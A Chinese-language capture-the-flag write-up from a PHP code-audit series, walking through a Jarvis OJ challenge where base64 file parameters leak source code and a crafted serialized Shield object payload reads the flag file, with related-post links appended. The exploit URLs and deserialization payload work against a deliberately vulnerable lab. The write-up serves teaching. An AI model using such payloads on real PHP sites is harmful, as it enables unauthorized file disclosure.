PHP代码审计分段讲解(10)
26 unserialize()序列化
<!-- 题目:http://web.jarvisoj.com:32768 --> <!-- index.php -->
<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/> <!-- shield.php --> <?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?> <!-- showimg.php -->
<?php
$f = $_GET['img'];
if (!empty($f)) {
$f = base64_decode($f);
if (stripos($f,'..')===FALSE && stripos($f,'/')===FALSE && stripos($f,'\\')===FALSE
//stripos — 查找字符串首次出现的位置(不区分大小写)
&& stripos($f,'pctf')===FALSE) {
readfile($f);
} else {
echo "File not found!";
}
}
?>
这道题目是PHP反序列的题目,比较基础。
在利用对PHP反序列化进行利用时,经常需要通过反序列化中的魔术方法,检查方法里有无敏感操作来进行利用。
列举常见方法
__construct()//创建对象时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__invoke() //当脚本尝试将对象调用为函数时触发
这道题目只用到了__construct()方法,该方法是在创建对象时触发
简单了解了基础知识之后我们来看题目,代码中给出的环境还能够访问:http://web.jarvisoj.com:32768,我们也可以通过代码推断出原来的环境。

查看网页源代码:
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
猜测是base64编码,解码得到:

获取index.php的源代码,payload为:
http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw
查看源代码

<?php
require_once('shield.php');
$x = new Shield();
isset($_GET['class']) && $g = $_GET['class'];
if (!empty($g)) {
$x = unserialize($g);
}
echo $x->readfile();
?>
<img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/>
可以看到包含了shield.php,继续查看shield.php的源代码 payload为:
http://web.jarvisoj.com:32768/showimg.php?img=c2hpZWxkLnBocA==

<?php
//flag is in pctf.php
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
} function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
?>
再包含一下showimg.php :
http://web.jarvisoj.com:32768/showimg.php?img=c2hvd2ltZy5waHA=

可以看到,showimg.php可以直接包含base64解密后的文件,同时虽然shield.php在里面说明了 flag is in pctf.php,但是showimg.php里面表示了,是无法直接包含pctf文件的,以及进行了目录穿越的禁止。
回到index.php
里面关键点在于:
$x = unserialize($g);
}
echo $x->readfile();
在这里对$g进行了反序列化,然后输出了对象$x的readfile()方法的结果
而$g是在这里进行赋值:
isset($_GET['class']) && $g = $_GET['class'];
是我们可以控制的。
再继续看shield.php中的Shield类,也就是我们序列化和反序列化的对象
class Shield {
public $file;
function __construct($filename = '') {
$this -> file = $filename;
}
function readfile() {
if (!empty($this->file) && stripos($this->file,'..')===FALSE
&& stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
return @file_get_contents($this->file);
}
}
}
根据类进行PHP在线环境进行反向构造即可

即反序列化后直接使用readfile()方法读取任意文件,这里我们读取pctf.php
payload为:
http://web.jarvisoj.com:32768/index.php?class=O:6:%22Shield%22:1:{s:4:%22file%22;s:8:%22pctf.php%22;}
查看源代码为:

获得flag,是一道很基础的PHP反序列化题目
PHP代码审计分段讲解(10)的更多相关文章
- PHP代码审计分段讲解(14)
30题利用提交数组绕过逻辑 本篇博客是PHP代码审计分段讲解系列题解的最后一篇,对于我这个懒癌患者来说,很多事情知易行难,坚持下去,继续学习和提高自己. 源码如下: <?php $role = ...
- PHP代码审计分段讲解(13)
代码审计分段讲解之29题,代码如下: <?php require("config.php"); $table = $_GET['table']?$_GET['table']: ...
- PHP代码审计分段讲解(11)
后面的题目相对于之前的题目难度稍微提升了一些,所以对每道题进行单独的分析 27题 <?php if(!$_GET['id']) { header('Location: index.php?id= ...
- PHP代码审计分段讲解(8)
20 十六进制与数字比较 源代码为: <?php error_reporting(0); function noother_says_correct($temp) { $flag = 'flag ...
- PHP代码审计分段讲解(4)
08 SESSION验证绕过 源代码为: <?php $flag = "flag"; session_start(); if (isset ($_GET['passw ...
- PHP代码审计分段讲解(1)
PHP源码来自:https://github.com/bowu678/php_bugs 快乐的暑期学习生活+1 01 extract变量覆盖 <?php $flag='xxx'; extract ...
- PHP代码审计分段讲解(12)
28题 <!DOCTYPE html> <html> <head> <title>Web 350</title> <style typ ...
- PHP代码审计分段讲解(9)
22 弱类型整数大小比较绕过 <?php error_reporting(0); $flag = "flag{test}"; $temp = $_GET['password' ...
- PHP代码审计分段讲解(7)
17 密码md5比较绕过 <?php if($_POST[user] && $_POST[pass]) { mysql_connect(SAE_MYSQL_HOST_M . ': ...
随机推荐
- 万字长文,详解推荐系统领域经典模型FM因子分解机
在上一篇文章当中我们剖析了Facebook的著名论文GBDT+LR,虽然这篇paper在业内广受好评,但是毕竟GBDT已经是有些老旧的模型了.今天我们要介绍一个业内使用得更多的模型,它诞生于2010年 ...
- Spider--补充--jsonpath的使用
# 知识点参见:https://blog.csdn.net/muzico425/article/details/102763176 # 示例:爬取示例网站的首页的评论: # 解析得到的字符串r.tex ...
- haproxy 思考
通过代理服务器在两个TCP接连之间转发数据是一个常见的需求,然后通常部署的时候涉及到(虚拟)服务器.真实服务器.防护设备.涉及到多个ip地址相关联,改动一个IP就需要修改配置. 比如反向服务器部署的时 ...
- linux 信号 ctrl + d z c fg bg 作用
ctrl+c:前台进程终止 后台进程的终止: 方法一:通过jobs命令查看job号(假设为num),然后执行kill %num $ kill %1 方法二:通过ps命令查看job的进程号(PID, ...
- shell编程之俄罗斯方块
按键获取: 向上 ^[[A 向下 ^[[B 向左 ^[[D 向右 ^[[C 其中 ^[为ESC键. 按键获取的具体shell代码如下所示: #! /bin/bash GetKey() { a ...
- mysql语句的书写顺序和执行顺序
mysql语句的书写顺序和执行顺序有很大差异. 书写顺序,mysql的一般书写顺写为: select <要返回的数据列> from <表名> <join, left jo ...
- Java 架构学习图谱
- My SQL的基本操作(总结)
My SQL的基本操作(总结) 因为本人目前是学生,前一段时间因为一些原因没有按时更新博客,今天我来总结一下My SQL的基本操作. 一.下载与安装 windows版本MySQL下载地址: http: ...
- php 判断网站是http还是https
//判断是http还是https $http_type = ((isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (i ...
- webug第十四关:存储型XSS
第十四关:存储型XSS 打开发现是评论区 留言加入xss语句